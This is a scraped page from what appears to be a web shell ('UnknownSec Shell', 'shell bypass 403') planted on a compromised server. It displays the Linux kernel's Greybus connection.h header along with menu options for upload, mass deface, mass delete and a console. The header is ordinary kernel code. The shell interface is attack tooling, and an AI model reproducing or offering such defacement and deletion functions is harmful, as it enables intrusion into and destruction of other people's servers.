shell bypass 403
UnknownSec Shell
:
/
usr
/
src
/
linux-headers-6.8.0-36-generic
/
include
/
linux
/
greybus
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
connection.h
/* SPDX-License-Identifier: GPL-2.0 */ /* * Greybus connections * * Copyright 2014 Google Inc. * Copyright 2014 Linaro Ltd. */ #ifndef __CONNECTION_H #define __CONNECTION_H #include <linux/bits.h> #include <linux/list.h> #include <linux/kfifo.h> #include <linux/kref.h> #include <linux/workqueue.h> #define GB_CONNECTION_FLAG_CSD BIT(0) #define GB_CONNECTION_FLAG_NO_FLOWCTRL BIT(1) #define GB_CONNECTION_FLAG_OFFLOADED BIT(2) #define GB_CONNECTION_FLAG_CDSI1 BIT(3) #define GB_CONNECTION_FLAG_CONTROL BIT(4) #define GB_CONNECTION_FLAG_HIGH_PRIO BIT(5) #define GB_CONNECTION_FLAG_CORE_MASK GB_CONNECTION_FLAG_CONTROL enum gb_connection_state { GB_CONNECTION_STATE_DISABLED = 0, GB_CONNECTION_STATE_ENABLED_TX = 1, GB_CONNECTION_STATE_ENABLED = 2, GB_CONNECTION_STATE_DISCONNECTING = 3, }; struct gb_operation; typedef int (*gb_request_handler_t)(struct gb_operation *); struct gb_connection { struct gb_host_device *hd; struct gb_interface *intf; struct gb_bundle *bundle; struct kref kref; u16 hd_cport_id; u16 intf_cport_id; struct list_head hd_links; struct list_head bundle_links; gb_request_handler_t handler; unsigned long flags; struct mutex mutex; spinlock_t lock; enum gb_connection_state state; struct list_head operations; char name[16]; struct workqueue_struct *wq; atomic_t op_cycle; void *private; bool mode_switch; }; struct gb_connection *gb_connection_create_static(struct gb_host_device *hd, u16 hd_cport_id, gb_request_handler_t handler); struct gb_connection *gb_connection_create_control(struct gb_interface *intf); struct gb_connection *gb_connection_create(struct gb_bundle *bundle, u16 cport_id, gb_request_handler_t handler); struct gb_connection *gb_connection_create_flags(struct gb_bundle *bundle, u16 cport_id, gb_request_handler_t handler, unsigned long flags); struct gb_connection *gb_connection_create_offloaded(struct gb_bundle *bundle, u16 cport_id, unsigned long flags); void gb_connection_destroy(struct gb_connection *connection); static inline bool gb_connection_is_static(struct gb_connection *connection) { return !connection->intf; } int gb_connection_enable(struct gb_connection *connection); int gb_connection_enable_tx(struct gb_connection *connection); void gb_connection_disable_rx(struct gb_connection *connection); void gb_connection_disable(struct gb_connection *connection); void gb_connection_disable_forced(struct gb_connection *connection); void gb_connection_mode_switch_prepare(struct gb_connection *connection); void gb_connection_mode_switch_complete(struct gb_connection *connection); void greybus_data_rcvd(struct gb_host_device *hd, u16 cport_id, u8 *data, size_t length); void gb_connection_latency_tag_enable(struct gb_connection *connection); void gb_connection_latency_tag_disable(struct gb_connection *connection); static inline bool gb_connection_e2efc_enabled(struct gb_connection *connection) { return !(connection->flags & GB_CONNECTION_FLAG_CSD); } static inline bool gb_connection_flow_control_disabled(struct gb_connection *connection) { return connection->flags & GB_CONNECTION_FLAG_NO_FLOWCTRL; } static inline bool gb_connection_is_offloaded(struct gb_connection *connection) { return connection->flags & GB_CONNECTION_FLAG_OFFLOADED; } static inline bool gb_connection_is_control(struct gb_connection *connection) { return connection->flags & GB_CONNECTION_FLAG_CONTROL; } static inline void *gb_connection_get_data(struct gb_connection *connection) { return connection->private; } static inline void gb_connection_set_data(struct gb_connection *connection, void *data) { connection->private = data; } #endif /* __CONNECTION_H */
© 2026 UnknownSec